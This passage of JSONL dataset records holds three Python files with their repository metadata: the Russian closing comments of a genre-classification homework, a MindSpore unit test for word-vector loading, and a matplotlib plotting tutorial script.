\u043e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043e\u0442 \"\u043f\u043e\u0432\u0441\u0435\u0434\u043d\u0435\u0432\u043d\u044b\u0445\". \u042d\u0442\u043e \u0432\u0438\u0434\u0438\u043c \u0438 \u0432 \u043c\u0430\u0442\u0440\u0438\u0446\u0435 -- \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u0438\u0445 \u043f\u0443\u0442\u0430\u0435\u0442.\n# \n# \u0422\u0435\u043f\u0435\u0440\u044c \u043e\u0442\u0432\u043b\u0435\u0447\u0451\u043c\u0441\u044f \u043e\u0442 \u0433\u0440\u0443\u0441\u0442\u043d\u044b\u0445 \u043c\u044b\u0441\u043b\u0435\u0439 \u043e \u0442\u043e\u0447\u043d\u043e\u0441\u0442\u0438 \u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u0443\u0435\u043c \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442.\n# \n# \"\u0424\u0430\u043d\u0442\u0430\u0441\u0442\u0438\u043a\u0430\" \u0447\u0430\u0441\u0442\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u0430\u043a \"\u043a\u043e\u043c\u0435\u0434\u0438\u044f\" (\u0430 \u043d\u0430\u043e\u0431\u043e\u0440\u043e\u0442 \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 \u043d\u0435 \u043f\u0443\u0442\u0430\u0435\u0442).\n# \"\u041f\u043e\u0432\u0441\u0435\u0434\u043d\u0435\u0432\u043d\u043e\u0441\u0442\u044c\" \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0445\u043e\u0440\u043e\u0448\u043e, \u043d\u043e \"\u043f\u043e\u0432\u0441\u0435\u0434\u043d\u0435\u0432\u043d\u044b\u0435\" \u0436\u0430\u043d\u0440\u044b \u043f\u0440\u0435\u0434\u0441\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u0447\u0442\u043e \u0443\u0433\u043e\u0434\u043d\u043e.\n# \"\u0420\u043e\u043c\u0430\u043d\u0442\u0438\u043a\u0430\" \u0447\u0430\u0441\u0442\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u0430\u043a \"\u043f\u043e\u0432\u0441\u0435\u0434\u043d\u0435\u0432\u043d\u043e\u0441\u0442\u044c\".\n# \"\u0414\u0440\u0430\u043c\u0430\" \u0447\u0430\u0441\u0442\u043e \u043f\u0443\u0442\u0430\u0435\u0442\u0441\u044f \u0441 \"\u043a\u043e\u043c\u0435\u0434\u0438\u0435\u0439\". \u041f\u0440\u0438\u0447\u0451\u043c \u0432 \u043e\u0431\u0435 \u0441\u0442\u043e\u0440\u043e\u043d\u044b.\n# \"\u041f\u0440\u0438\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f\" \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0442\u0441\u044f \u043b\u0443\u0447\u0448\u0435, \u0447\u0435\u043c \u0432\u0441\u0451 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435. \u041d\u043e, \u043a\u0430\u043a \u043d\u0438 \u0441\u0442\u0440\u0430\u043d\u043d\u043e, \u0441\u043e\u0432\u0435\u0440\u0448\u0435\u043d\u043d\u043e \u043d\u0435 \u043f\u0443\u0442\u0430\u044e\u0442\u0441\u044f \u0441 \"\u0444\u0430\u043d\u0442\u0430\u0441\u0442\u0438\u043a\u043e\u0439\".\n# \"\u041a\u043e\u043c\u0435\u0434\u0438\u044f\" \u0447\u0430\u0441\u0442\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f, \u043a\u0430\u043a \"\u0440\u043e\u043c\u0430\u043d\u0442\u0438\u043a\u0430\" \u0438 \"\u0434\u0440\u0430\u043c\u0430\". \u041f\u0435\u0440\u0432\u043e\u0435 \u0435\u0449\u0451 \u043a\u0430\u043a-\u0442\u043e \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u043c\u043e, \u0432\u0442\u043e\u0440\u043e\u0435 -- \u043d\u0435\u043e\u0436\u0438\u0434\u0430\u043d\u043d\u043e.\n# \n# \u0412 \u0446\u0435\u043b\u043e\u043c, \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u0432\u0435\u0440\u043d\u043e, \u0443\u0447\u0442\u0435\u043d\u044b \u0432\u0441\u0435 \u0430\u0441\u043f\u0435\u043a\u0442\u044b \u043f\u0440\u0435\u0434\u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0442\u0435\u043a\u0441\u0442\u0430, \u0443\u0434\u0430\u043b\u0435\u043d\u044b \u0432\u0441\u0435 \u0441\u0442\u043e\u043f-\u0441\u043b\u043e\u0432\u0430, \u043f\u0440\u043e\u0438\u0437\u0432\u0435\u0434\u0435\u043d\u0430 \u043b\u0435\u043c\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u044f, \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b . \u0418\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043e \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0435 \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u0435. \u041e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0431\u043e\u043b\u044c\u0448\u0435 \u0434\u0430\u043d\u043d\u044b\u0445, \u0438 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0431\u0443\u0434\u0435\u0442 \u0442\u043e\u0447\u043d\u044b\u043c.\n", "meta": {"hexsha": "aaee7c1fd885e043342c1092a90d62b025a415c2", "size": 9272, "ext": "py", "lang": "Python", "max_stars_repo_path": "hw4/hw4.py", "max_stars_repo_name": "mikhovr/nlp-proj-4", "max_stars_repo_head_hexsha": "10f27f452a6c2415959c39089d55203e17ef46c0", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "hw4/hw4.py", "max_issues_repo_name": "mikhovr/nlp-proj-4", "max_issues_repo_head_hexsha": "10f27f452a6c2415959c39089d55203e17ef46c0", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "hw4/hw4.py", "max_forks_repo_name": "mikhovr/nlp-proj-4", "max_forks_repo_head_hexsha": "10f27f452a6c2415959c39089d55203e17ef46c0", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.2547528517, "max_line_length": 418, "alphanum_fraction": 0.7425582399, "include": true, "reason": "import numpy", "num_tokens": 3295, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.399811640739795, "lm_q2_score": 0.12940272991290905, "lm_q1q2_score": 0.05173671776268872}}
{"text": "# Copyright 2021 Huawei Technologies Co., Ltd\r\n#\r\n# Licensed under the Apache License, Version 2.0 (the \"License\");\r\n# you may not use this file except in compliance with the License.\r\n# You may obtain a copy of the License at\r\n#\r\n# http://www.apache.org/licenses/LICENSE-2.0\r\n#\r\n# Unless required by applicable law or agreed to in writing, software\r\n# distributed under the License is distributed on an \"AS IS\" BASIS,\r\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n# See the License for the specific language governing permissions and\r\n# limitations under the License.\r\n# ==============================================================================\r\n\r\nimport numpy as np\r\nimport pytest\r\n\r\nfrom mindspore import log\r\nimport mindspore.dataset as ds\r\nimport mindspore.dataset.text as text\r\nimport mindspore.dataset.text.transforms as T\r\n\r\nDATASET_ROOT_PATH = \"../data/dataset/testVectors/\"\r\n\r\n\r\ndef test_vectors_all_tovectors_params_eager():\r\n    \"\"\"\r\n    Feature: Vectors\r\n    Description: test with all parameters which include `unk_init`\r\n        and `lower_case_backup` in function ToVectors in eager mode\r\n    Expectation: output is equal to the expected value\r\n    \"\"\"\r\n    vectors = text.Vectors.from_file(DATASET_ROOT_PATH + \"vectors.txt\", max_vectors=4)\r\n    myUnk = [-1, -1, -1, -1, -1, -1]\r\n    to_vectors = T.ToVectors(vectors, unk_init=myUnk, lower_case_backup=True)\r\n    result1 = to_vectors(\"Ok\")\r\n    result2 = to_vectors(\"!\")\r\n    result3 = to_vectors(\"This\")\r\n    result4 = to_vectors(\"is\")\r\n    result5 = to_vectors(\"my\")\r\n    result6 = to_vectors(\"home\")\r\n    result7 = to_vectors(\"none\")\r\n    res = [[0.418, 0.24968, -0.41242, 0.1217, 0.34527, -0.04445718411],\r\n           [0.013441, 0.23682, -0.16899, 0.40951, 0.63812, 0.47709],\r\n           [0.15164, 0.30177, -0.16763, 0.17684, 0.31719, 0.33973],\r\n           [0.70853, 0.57088, -0.4716, 0.18048, 0.54449, 0.72603],\r\n           [-1, -1, -1, -1, -1, -1],\r\n           [-1, -1, -1, -1, -1, -1],\r\n           [-1, -1, -1, -1, -1, -1]]\r\n    res_array = np.array(res, dtype=np.float32)\r\n\r\n    assert np.array_equal(result1, res_array[0])\r\n    assert np.array_equal(result2, res_array[1])\r\n    assert np.array_equal(result3, res_array[2])\r\n    assert np.array_equal(result4, res_array[3])\r\n    assert np.array_equal(result5, res_array[4])\r\n    assert np.array_equal(result6, res_array[5])\r\n    assert np.array_equal(result7, res_array[6])\r\n\r\n\r\ndef test_vectors_from_file():\r\n    \"\"\"\r\n    Feature: Vectors\r\n    Description: test with only default parameter\r\n    Expectation: output is equal to the expected value\r\n    \"\"\"\r\n    vectors = text.Vectors.from_file(DATASET_ROOT_PATH + \"vectors.txt\")\r\n    to_vectors = text.ToVectors(vectors)\r\n    data = ds.TextFileDataset(DATASET_ROOT_PATH + \"words.txt\", shuffle=False)\r\n    data = data.map(operations=to_vectors, input_columns=[\"text\"])\r\n    ind = 0\r\n    res = [[0.418, 0.24968, -0.41242, 0.1217, 0.34527, -0.04445718411],\r\n           [0, 0, 0, 0, 0, 0],\r\n           [0.15164, 0.30177, -0.16763, 0.17684, 0.31719, 0.33973],\r\n           [0.70853, 0.57088, -0.4716, 0.18048, 0.54449, 0.72603],\r\n           [0.68047, -0.039263, 0.30186, -0.17792, 0.42962, 0.032246],\r\n           [0.26818, 0.14346, -0.27877, 0.016257, 0.11384, 0.69923],\r\n           [0, 0, 0, 0, 0, 0]]\r\n    for d in data.create_dict_iterator(num_epochs=1, output_numpy=True):\r\n        res_array = np.array(res[ind], dtype=np.float32)\r\n        assert np.array_equal(res_array, d[\"text\"]), ind\r\n        ind += 1\r\n\r\n\r\ndef test_vectors_from_file_all_buildfromfile_params():\r\n    \"\"\"\r\n    Feature: Vectors\r\n    Description: test with all parameters which include `path` and `max_vector` in function BuildFromFile\r\n    Expectation: output is equal to the expected value\r\n    \"\"\"\r\n    vectors = text.Vectors.from_file(DATASET_ROOT_PATH + \"vectors.txt\", max_vectors=100)\r\n    to_vectors = text.ToVectors(vectors)\r\n    data = ds.TextFileDataset(DATASET_ROOT_PATH + \"words.txt\", shuffle=False)\r\n    data = data.map(operations=to_vectors, input_columns=[\"text\"])\r\n    ind = 0\r\n    res = [[0.418, 0.24968, -0.41242, 0.1217, 0.34527, -0.04445718411],\r\n           [0, 0, 0, 0, 0, 0],\r\n           [0.15164, 0.30177, -0.16763, 0.17684, 0.31719, 0.33973],\r\n           [0.70853, 0.57088, -0.4716, 0.18048, 0.54449, 0.72603],\r\n           [0.68047, -0.039263, 0.30186, -0.17792, 0.42962, 0.032246],\r\n           [0.26818, 0.14346, -0.27877, 0.016257, 0.11384, 0.69923],\r\n           [0, 0, 0, 0, 0, 0]]\r\n    for d in data.create_dict_iterator(num_epochs=1, output_numpy=True):\r\n        res_array = np.array(res[ind], dtype=np.float32)\r\n        assert np.array_equal(res_array, d[\"text\"]), ind\r\n        ind += 1\r\n\r\n\r\ndef test_vectors_from_file_all_buildfromfile_params_eager():\r\n    \"\"\"\r\n    Feature: Vectors\r\n    Description: test with all parameters which include `path` and `max_vector` in function BuildFromFile in eager mode\r\n    Expectation: output is equal to the expected value\r\n    \"\"\"\r\n    vectors = text.Vectors.from_file(DATASET_ROOT_PATH + \"vectors.txt\", max_vectors=4)\r\n    to_vectors = T.ToVectors(vectors)\r\n    result1 = to_vectors(\"ok\")\r\n    result2 = to_vectors(\"!\")\r\n    result3 = to_vectors(\"this\")\r\n    result4 = to_vectors(\"is\")\r\n    result5 = to_vectors(\"my\")\r\n    result6 = to_vectors(\"home\")\r\n    result7 = to_vectors(\"none\")\r\n    res = [[0.418, 0.24968, -0.41242, 0.1217, 0.34527, -0.04445718411],\r\n           [0.013441, 0.23682, -0.16899, 0.40951, 0.63812, 0.47709],\r\n           [0.15164, 0.30177, -0.16763, 0.17684, 0.31719, 0.33973],\r\n           [0.70853, 0.57088, -0.4716, 0.18048, 0.54449, 0.72603],\r\n           [0, 0, 0, 0, 0, 0],\r\n           [0, 0, 0, 0, 0, 0],\r\n           [0, 0, 0, 0, 0, 0]]\r\n    res_array = np.array(res, dtype=np.float32)\r\n\r\n    assert np.array_equal(result1, res_array[0])\r\n    assert np.array_equal(result2, res_array[1])\r\n    assert np.array_equal(result3, res_array[2])\r\n    assert np.array_equal(result4, res_array[3])\r\n    assert np.array_equal(result5, res_array[4])\r\n    assert np.array_equal(result6, res_array[5])\r\n    assert np.array_equal(result7, res_array[6])\r\n\r\n\r\ndef test_vectors_from_file_eager():\r\n    \"\"\"\r\n    Feature: Vectors\r\n    Description: test with only default parameter in eager mode\r\n    Expectation: output is equal to the expected value\r\n    \"\"\"\r\n    vectors = text.Vectors.from_file(DATASET_ROOT_PATH + \"vectors.txt\")\r\n    to_vectors = T.ToVectors(vectors)\r\n    result1 = to_vectors(\"ok\")\r\n    result2 = to_vectors(\"!\")\r\n    result3 = to_vectors(\"this\")\r\n    result4 = to_vectors(\"is\")\r\n    result5 = to_vectors(\"my\")\r\n    result6 = to_vectors(\"home\")\r\n    result7 = to_vectors(\"none\")\r\n    res = [[0.418, 0.24968, -0.41242, 0.1217, 0.34527, -0.04445718411],\r\n           [0.013441, 0.23682, -0.16899, 0.40951, 0.63812, 0.47709],\r\n           [0.15164, 0.30177, -0.16763, 0.17684, 0.31719, 0.33973],\r\n           [0.70853, 0.57088, -0.4716, 0.18048, 0.54449, 0.72603],\r\n           [0.68047, -0.039263, 0.30186, -0.17792, 0.42962, 0.032246],\r\n           [0.26818, 0.14346, -0.27877, 0.016257, 0.11384, 0.69923],\r\n           [0, 0, 0, 0, 0, 0]]\r\n    res_array = np.array(res, dtype=np.float32)\r\n\r\n    assert np.array_equal(result1, res_array[0])\r\n    assert np.array_equal(result2, res_array[1])\r\n    assert np.array_equal(result3, res_array[2])\r\n    assert np.array_equal(result4, res_array[3])\r\n    assert np.array_equal(result5, res_array[4])\r\n    assert np.array_equal(result6, res_array[5])\r\n    assert np.array_equal(result7, res_array[6])\r\n\r\n\r\ndef test_vectors_invalid_input():\r\n    \"\"\"\r\n    Feature: Vectors\r\n    Description: test the validate function with invalid parameters.\r\n    Expectation:\r\n    \"\"\"\r\n    def test_invalid_input(test_name, file_path, error, error_msg, max_vectors=None,\r\n                           unk_init=None, lower_case_backup=False, token=\"ok\"):\r\n        log.info(\"Test Vectors with wrong input: {0}\".format(test_name))\r\n        with pytest.raises(error) as error_info:\r\n            vectors = text.Vectors.from_file(file_path, max_vectors=max_vectors)\r\n            to_vectors = T.ToVectors(vectors, unk_init=unk_init, lower_case_backup=lower_case_backup)\r\n            to_vectors(token)\r\n        assert error_msg in str(error_info.value)\r\n\r\n    test_invalid_input(\"Not all vectors have the same number of dimensions\",\r\n                       DATASET_ROOT_PATH + \"vectors_dim_different.txt\", error=RuntimeError,\r\n                       error_msg=\"all vectors must have the same number of dimensions, but got dim 5 while expecting 6\")\r\n    test_invalid_input(\"the file is empty.\", DATASET_ROOT_PATH + \"vectors_empty.txt\",\r\n                       error=RuntimeError, error_msg=\"invalid file, file is empty.\")\r\n    test_invalid_input(\"the count of `unknown_init`'s element is different with word vector.\",\r\n                       DATASET_ROOT_PATH + \"vectors.txt\",\r\n                       error=RuntimeError, error_msg=\"Unexpected error. ToVectors: \" +\r\n                       \"unk_init must be the same length as vectors, but got unk_init: 2 and vectors: 6\",\r\n                       unk_init=[-1, -1])\r\n    test_invalid_input(\"The file not exist\", DATASET_ROOT_PATH + \"not_exist.txt\", error=RuntimeError,\r\n                       error_msg=\"get real path failed\")\r\n    test_invalid_input(\"The token is 1-dimensional\",\r\n                       DATASET_ROOT_PATH + \"vectors_with_wrong_info.txt\", error=RuntimeError,\r\n                       error_msg=\"token with 1-dimensional vector.\")\r\n    test_invalid_input(\"max_vectors parameter must be greater than 0\",\r\n                       DATASET_ROOT_PATH + \"vectors.txt\", error=ValueError,\r\n                       error_msg=\"Input max_vectors is not within the required interval\", max_vectors=-1)\r\n    test_invalid_input(\"invalid max_vectors parameter type as a float\",\r\n                       DATASET_ROOT_PATH + \"vectors.txt\", error=TypeError,\r\n                       error_msg=\"Argument max_vectors with value 1.0 is not of type [<class 'int'>],\"\r\n                       \" but got <class 'float'>.\", max_vectors=1.0)\r\n    test_invalid_input(\"invalid max_vectors parameter type as a string\",\r\n                       DATASET_ROOT_PATH + \"vectors.txt\", error=TypeError,\r\n                       error_msg=\"Argument max_vectors with value 1 is not of type [<class 'int'>],\"\r\n                       \" but got <class 'str'>.\", max_vectors=\"1\")\r\n    test_invalid_input(\"invalid token parameter type as a float\", DATASET_ROOT_PATH + \"vectors.txt\", error=RuntimeError,\r\n                       error_msg=\"input tensor type should be string.\", token=1.0)\r\n    test_invalid_input(\"invalid lower_case_backup parameter type as a string\", DATASET_ROOT_PATH + \"vectors.txt\",\r\n                       error=TypeError, error_msg=\"Argument lower_case_backup with \" +\r\n                       \"value True is not of type [<class 'bool'>],\"\r\n                       \" but got <class 'str'>.\", lower_case_backup=\"True\")\r\n    test_invalid_input(\"invalid lower_case_backup parameter type as a string\", DATASET_ROOT_PATH + \"vectors.txt\",\r\n                       error=TypeError, error_msg=\"Argument lower_case_backup with \" +\r\n                       \"value True is not of type [<class 'bool'>],\"\r\n                       \" but got <class 'str'>.\", lower_case_backup=\"True\")\r\n\r\n\r\nif __name__ == '__main__':\r\n    test_vectors_all_tovectors_params_eager()\r\n    test_vectors_from_file()\r\n    test_vectors_from_file_all_buildfromfile_params()\r\n    test_vectors_from_file_all_buildfromfile_params_eager()\r\n    test_vectors_from_file_eager()\r\n    test_vectors_invalid_input()\r\n", "meta": {"hexsha": "2829970aa2a31115510a398d28a4e24d6e392ccc", "size": 11575, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/ut/python/dataset/test_vectors.py", "max_stars_repo_name": "PowerOlive/mindspore", "max_stars_repo_head_hexsha": "bda20724a94113cedd12c3ed9083141012da1f15", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-03-05T02:59:21.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-05T02:59:21.000Z", "max_issues_repo_path": "tests/ut/python/dataset/test_vectors.py", "max_issues_repo_name": "zimo-geek/mindspore", "max_issues_repo_head_hexsha": "665ec683d4af85c71b2a1f0d6829356f2bc0e1ff", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/ut/python/dataset/test_vectors.py", "max_forks_repo_name": "zimo-geek/mindspore", "max_forks_repo_head_hexsha": "665ec683d4af85c71b2a1f0d6829356f2bc0e1ff", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 49.0466101695, "max_line_length": 121, "alphanum_fraction": 0.6287688985, "include": true, "reason": "import numpy", "num_tokens": 3275, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4649015713733885, "lm_q2_score": 0.11124120945399739, "lm_q1q2_score": 0.05171621307663963}}
{"text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Jun 11 09:56:39 2017\n\n@author: Raghav Bali\n\"\"\"\n\n\"\"\"\n\nThis script visualizes data using matplotlib  \n\n``Execute``\n        $ python matplotlib_viz.py\n\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\nif __name__=='__main__':\n    \n    # sample plot\n    x = np.linspace(-10, 10, 50)\n    y=np.sin(x)\n    \n    plt.plot(x,y)\n    plt.title('Sine Curve using matplotlib')\n    plt.xlabel('x-axis')\n    plt.ylabel('y-axis')\n    plt.show()\n    \n    \n    # figure\n    plt.figure(1)\n    plt.plot(x,y)\n    plt.title('Fig1: Sine Curve')\n    plt.xlabel('x-axis')\n    plt.ylabel('y-axis')\n    plt.show()\n    \n    plt.figure(2)\n    y=np.cos(x)\n    plt.plot(x,y)\n    plt.title('Fig2: Cosine Curve')\n    plt.xlabel('x-axis')\n    plt.ylabel('y-axis')\n    plt.show()\n    \n    ### subplot\n    \n    # fig.add_subplot\n    y = np.sin(x)\n    figure_obj = plt.figure()\n    ax1 = figure_obj.add_subplot(2,2,1)\n    ax1.plot(x,y)\n\n    ax2 = figure_obj.add_subplot(2,2,2)\n    ax3 = figure_obj.add_subplot(2,2,3)\n    \n    ax4 = figure_obj.add_subplot(2,2,4)\n    ax4.plot(x+10,y)\n    plt.show()\n   \n    \n    # plt.subplots\n    fig, ax_list = plt.subplots(2,1,sharex=True)\n    y= np.sin(x)\n    ax_list[0].plot(x,y)\n    \n    y= np.cos(x)\n    ax_list[1].plot(x,y)\n    plt.show()\n    \n    \n    # plt.subplot (creates figure and axes objects automatically)\n    plt.subplot(2,2,1)\n    y = np.sin(x)    \n    plt.plot(x,y)\n\n    plt.subplot(2,2,2)\n    y = np.cos(x)\n    plt.plot(x,y)\n\n    plt.subplot(2,1,2)\n    y = np.tan(x)\n    plt.plot(x,y)  \n    \n    plt.show()\n    \n    \n    # subplot2grid\n    y = np.abs(x)\n    z = x**2\n    \n    plt.subplot2grid((4,3), (0, 0), rowspan=4, colspan=2)\n    plt.plot(x, y,'b',x,z,'r')\n    \n    ax2 = plt.subplot2grid((4,3), (0, 2),rowspan=2)\n    plt.plot(x, y,'b')\n    plt.setp(ax2.get_xticklabels(), visible=False)\n\n    plt.subplot2grid((4,3), (2, 2), rowspan=2)\n    plt.plot(x, z,'r')\n    \n    plt.show()\n    \n      \n    ### formatting\n    \n    y = x\n    \n    # color\n    ax1 = plt.subplot(611)\n    plt.plot(x,y,color='green')\n    ax1.set_title('Line Color')\n    plt.setp(ax1.get_xticklabels(), visible=False)\n    \n    # linestyle\n    # linestyles -> '-','--','-.', ':', 'steps'\n    ax2 = plt.subplot(612,sharex=ax1)\n    plt.plot(x,y,linestyle='--')\n    ax2.set_title('Line Style')\n    plt.setp(ax2.get_xticklabels(), visible=False)\n    \n    # marker\n    # markers -> '+', 'o', '*', 's', ',', '.', etc\n    ax3 = plt.subplot(613,sharex=ax1)\n    plt.plot(x,y,marker='*')\n    ax3.set_title('Point Marker')\n    plt.setp(ax3.get_xticklabels(), visible=False)\n    \n    # line width\n    ax4 = plt.subplot(614,sharex=ax1)\n    line = plt.plot(x,y)\n    line[0].set_linewidth(3.0)\n    ax4.set_title('Line Width')\n    plt.setp(ax4.get_xticklabels(), visible=False)\n    \n    # alpha\n    ax5 = plt.subplot(615,sharex=ax1)\n    alpha = plt.plot(x,y)\n    alpha[0].set_alpha(0.3)\n    ax5.set_title('Line Alpha')\n    plt.setp(ax5.get_xticklabels(), visible=False)\n    \n    # combine linestyle\n    ax6 = plt.subplot(616,sharex=ax1)\n    plt.plot(x,y,'b^')\n    ax6.set_title('Styling Shorthand')\n    \n    fig = plt.gcf()\n    fig.set_figheight(15)\n    plt.show()\n    \n    \n    # legends\n    y = x**2\n    z = x\n    \n    plt.plot(x,y,'g',label='y=x^2')\n    plt.plot(x,z,'b:',label='y=x')\n    plt.legend(loc=\"best\")\n    plt.title('Legend Sample')\n    plt.show()\n    \n    # legend with latex formatting\n    plt.plot(x,y,'g',label='$y = x^2$')\n    plt.plot(x,z,'b:',linewidth=3,label='$y = x^2$')\n    plt.legend(loc=\"best\",fontsize='x-large')\n    plt.title('Legend with LaTEX formatting')\n    plt.show()\n    \n    \n    ## axis controls\n    # secondary y-axis\n    fig, ax1 = plt.subplots()\n    ax1.plot(x,y,'g')\n    ax1.set_ylabel(r\"primary y-axis\", color=\"green\")\n    \n    ax2 = ax1.twinx()\n    \n    ax2.plot(x,z,'b:',linewidth=3)\n    ax2.set_ylabel(r\"secondary y-axis\", color=\"blue\")\n    \n    plt.title('Secondary Y Axis')\n    plt.show()    \n    \n    # ticks\n    y = np.log(x)\n    z = np.log2(x)\n    w = np.log10(x)\n    \n    plt.plot(x,y,'r',x,z,'g',x,w,'b')\n    plt.title('Default Axis Ticks') \n    plt.show()       \n    \n    # axis-controls\n    plt.plot(x,y,'r',x,z,'g',x,w,'b')\n    # values: tight, scaled, equal,auto\n    plt.axis('tight')\n    plt.title('Tight Axis') \n    plt.show()\n\n    # manual\n    plt.plot(x,y,'r',x,z,'g',x,w,'b')\n    plt.axis([0,2,-1,2])\n    plt.title('Manual Axis Range') \n    plt.show()       \n        \n    # Manual ticks      \n    plt.plot(x, y)\n    ax = plt.gca()\n    ax.xaxis.set_ticks(np.arange(-2, 2, 1))\n    plt.grid(True)\n    plt.title(\"Manual ticks on the x-axis\")\n    plt.show()\n    \n    \n    # minor ticks\n    plt.plot(x, z)\n    plt.minorticks_on()\n    ax = plt.gca()\n    ax.yaxis.set_ticks(np.arange(0, 5))\n    ax.yaxis.set_ticklabels([\"min\", 2, 4, \"max\"])\n    plt.title(\"Minor ticks on the y-axis\")   \n    plt.show()\n        \n    \n    # scaling\n    plt.plot(x, y)\n    ax = plt.gca()\n    # values: log, logit, symlog\n    ax.set_yscale(\"log\")\n    plt.grid(True)\n    plt.title(\"Log Scaled Axis\")\n    plt.show()\n    \n    \n    # annotations\n    y = x**2\n    min_x = 0\n    min_y = min_x**2\n    \n    plt.plot(x, y, \"b-\", min_x, min_y, \"ro\")\n    plt.axis([-10,10,-25,100])\n    \n    plt.text(0, 60, \"Parabola\\n$y = x^2$\", fontsize=15, ha=\"center\")\n    plt.text(min_x, min_y+2, \"Minima\", ha=\"center\")\n    plt.text(min_x, min_y-6, \"(%0.1f, %0.1f)\"%(min_x, min_y), ha='center',color='gray')\n    plt.title(\"Annotated Plot\")\n    plt.show()\n    \n    \n    # global formatting params\n    params = {'legend.fontsize': 'large',\n              'figure.figsize': (10, 10),\n             'axes.labelsize': 'large',\n             'axes.titlesize':'large',\n             'xtick.labelsize':'large',\n             'ytick.labelsize':'large'}\n\n    plt.rcParams.update(params)\n    \n    \n    # saving\n    #plt.savefig(\"sample_plot.png\", transparent=True)", "meta": {"hexsha": "782617830d07abced722318d8d9a3b964371cf41", "size": 5876, "ext": "py", "lang": "Python", "max_stars_repo_path": "notebooks/Ch03_Processing_Wrangling_and_Visualizing_Data/matplotlib_viz.py", "max_stars_repo_name": "baoqt2/practical-machine-learning-with-python", "max_stars_repo_head_hexsha": "9b58625c302d48c0d2a992c177cafb982a059f85", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 1989, "max_stars_repo_stars_event_min_datetime": "2017-11-29T02:34:45.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T18:18:51.000Z", "max_issues_repo_path": "notebooks/Ch03_Processing_Wrangling_and_Visualizing_Data/matplotlib_viz.py", "max_issues_repo_name": "Abd-Elrazek/practical-machine-learning-with-python", "max_issues_repo_head_hexsha": "5b36623aad841f7e43dc09f41f993ba234020aa8", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 29, "max_issues_repo_issues_event_min_datetime": "2018-01-21T04:17:23.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-17T10:59:50.000Z", "max_forks_repo_path": "notebooks/Ch03_Processing_Wrangling_and_Visualizing_Data/matplotlib_viz.py", "max_forks_repo_name": "Abd-Elrazek/practical-machine-learning-with-python", "max_forks_repo_head_hexsha": "5b36623aad841f7e43dc09f41f993ba234020aa8", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 1617, "max_forks_repo_forks_event_min_datetime": "2017-12-22T16:13:58.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-31T15:58:08.000Z", "avg_line_length": 22.0074906367, "max_line_length": 87, "alphanum_fraction": 0.541354663, "include": true, "reason": "import numpy", "num_tokens": 1838, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.46490157137338844, "lm_q2_score": 0.11124120871738379, "lm_q1q2_score": 0.0517162127341868}}
